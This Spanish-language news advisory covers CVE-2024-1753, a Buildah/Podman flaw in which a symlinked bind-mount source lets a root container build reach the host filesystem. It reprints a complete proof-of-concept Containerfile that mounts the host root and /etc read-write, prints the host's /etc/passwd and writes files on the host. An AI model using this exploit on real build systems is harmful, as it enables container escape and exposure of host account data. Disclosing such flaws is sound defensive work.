Vulnerabilidad en Buildah y Podman que permite eludir la aislamiento de contenedor

Se ha detectado una vulnerabilidad en los paquetes Buildah y Podman (CVE-2024-1753) que permite obtener acceso completo al sistema de archivos del entorno host en la etapa de construcción de un contenedor ejecutado con derechos de root. En los sistemas con SELinux habilitado, el acceso al sistema de archivos del host se restringe al modo de solo lectura. Actualmente, la corrección está disponible en forma de un parche que fue aceptado en la base de código de Buildah hace unos minutos.

La vulnerabilidad se debe a que al montar partes del sistema de archivos a través del comando "mount --bind" durante la construcción en la etapa RUN, el argumento del directorio de origen (parámetro "source=") no se verifica para comprobar su existencia en el sistema de archivos raíz. Un archivo de configuración de Containerfile diseñado por un atacante puede utilizar una imagen de contenedor en la que el directorio de origen para el montaje esté establecido como un enlace simbólico al sistema de archivos raíz. En este caso, la operación de montaje resultará en el montaje del sistema de archivos raíz del entorno host dentro del contenedor, lo que permitirá obtener acceso completo al sistema de archivos del entorno host durante la etapa RUN y facilitará la salida del contenedor durante la construcción con los comandos "buildah build" o "podman build".

Ejemplo de un archivo Containerfile malicioso cuya construcción con el comando "podman build -f ~/Containerfile ." resultará en la visualización del contenido de /etc/passwd y en la creación de archivos /BIND_BREAKEOUT y /etc/BIND_BREAKOUT2 en el entorno host: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "Con el exploit, muestra el root del host, no el del contenedor, y crea /BIND_BREAKOUT en / en el host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "Con el exploit, muestra /etc/passwd del host, no el del contenedor, y crea /BIND_BREAKOUT2 en /etc en el host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster